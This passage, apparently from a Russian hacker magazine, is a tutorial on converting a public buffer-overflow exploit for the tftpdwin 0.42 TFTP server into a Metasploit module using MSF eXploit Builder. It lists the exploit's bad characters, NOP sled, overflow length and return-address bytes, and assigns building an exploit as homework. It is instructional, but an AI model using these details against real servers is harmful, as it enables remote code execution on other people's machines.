Предлагаю взять какой-нибудь эксплоит и с помощью MSF eXploit Builder превратить его в Metasploit-модуль. Ты спросишь, зачем это нам надо? Опять же: превратив его в Metasploit-модуль, мы можем использовать его вместе с различными payload-ами. Проще говоря, это сделает его более универсальным и кроссплатформенным. Сейчас ты сам убедишься, насколько эта программа может упростить жизнь - ведь теперь для написания и отладки эксплоита не нужно даже знание Ruby и Metasploit API. В качестве кролика для эксперимента я выбрал первое, что попалось, - сплоит для tftpdwin 0.42 (milw0rm.com/exploits/7452 ).
Запускаем MSF eXploit Builder, заходим в меню "Editor" и выбираем "New". Появляется окно с несколькими вкладками (Information, Badchars, Analysis, Shellcode, Design). Переходим на вкладку "Information" и видим много интересных полей. Как ты помнишь, в этой секции указываются цели (OS + SP) и тип/протокол эксплоита (например, remote/tcp). Более того, программа предоставляет нам возможность тестирования и отладки полученного эксплоита, поэтому тут же можно выбрать исполняемый файл и указать параметры для его запуска (порт, ip-адрес).
Итак, выбираем наш tftpd.exe, после чего утилита предложит следующие действия на выбор: запустить приложение, запустить его под отладчиком или не запускать вообще – просто запустим приложение. Обрати внимание, что справа сбоку отобразится список загруженных приложением DDL'ек.
Теперь начинаем смотреть код сплоита – на наше счастье он предельно понятный. Комментарий "Restricted chars = 0x00 0x6e 0x65 0x74" явно указывает на запрещенные символы – что ж, выставим их в нашей программе. Для этого переходим на вкладку Badchars и в одноименном поле вводим: \x00\x6e\x65\x74. Далее по коду мы видим, как формируется ядовитый пакет:
my $packet = (( $p1 ).( $nopsled ).( $shellcode ).(( $overflow )).( $ret ).( $p2 ));
Разбираемся с каждой составляющей и заодно составляем буфер для отправки во вкладке "Design". Сначала идет переменная $p1 (my $p1="\x00\x01";). Вводим их в поле Value (Operation по умолчанию оставляем RAW). За ней идет переменная $nopsled (my $nopsled = "\x90" x 10;) - выбираем Operation = NOP и устанавливаем длину в 10. Далее располагается $shellcode - устанавливаем Operation = PAYLOAD и Length = 0. Следующая часть - $overflow (my $overflow = "\x41” x $len; строка из символов "А" длиной в $len). Переменная my $len = (274 - length($shellcode)), то есть строка длиной 274 символа минус длина шелл-кода. Выставляем Operation = RAW, Length = 274 и выбираем (нажимаем поочередно) вверху кнопки RAW could be: rand_text_alpha, -payload.encoded.length, что означает: длина строки будет высчитываться по вышеприведенной формуле. Потом добавляем адрес возврата $ret (my $ret = "\x5d\x10\x40”) и выбираем Operation = RET. Наконец, добавляем $p2, равное "\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00" и выбираем Operation = RAW. Ядовитый пакет готов.
Собственно, теперь у нас есть все для создания готового сплоита. Поэтому нажимаем на кнопку "Generate" и любуемся кодом получившегося сплоита. Если какие-то моменты вызывают сомнения, тут же можно отредактировать код вручную. Классно, что возможно сразу проверить работоспособность кода – для этого смело жмем кнопку "Test". И ведь – все работает! За 5 минут, которые ушли на ознакомление с программой, и без всякого знания, как языка Ruby, так и структуры Metasploit, мы создали полностью рабочий сплоит. Это дорогого стоит! В качестве домашнего задания попробуй с помощью MSF eXploit Builder создать эксплоит для нашего сервера :).
ЗаключениеВот и закончилась наша экскурсия по фабрике эксплоитов. Знать, как устроены сплоиты, полезно во многих отношениях. Не умея прочитать шелл-код в свежем эксплоите или, вообще, запуская непонятный exe'шник, далеко не всегда можно доверять его создателю. Многие сплоиты выпускаются в паблик с отсутствующими частями и специально оставленными ошибками – это непременно остановит армию скрипткидис, но для понимающего человека едва ли станет серьезной задачей. Надеюсь, я сегодня убедил тебя, что ничего нереального в сплоитах нет: ведь хакеры люди – логичные и понятные :).
INFOПодробная информация об Metasploit API:
Блог Metasploit Framework:
Статья по доработке эксплоита:
Видео, показывающее, как создать Portable-версию Metasploit для размещения на флешке:
WARNINGИнформация представлена исключительно в ознакомительных целях, чтобы показать, чего стоят критические уязвимости в коде и как злоумышленники могут их использовать. Не повторяй эти действия в противозаконных целях. В противном случае автор и редакция ответственности не несут!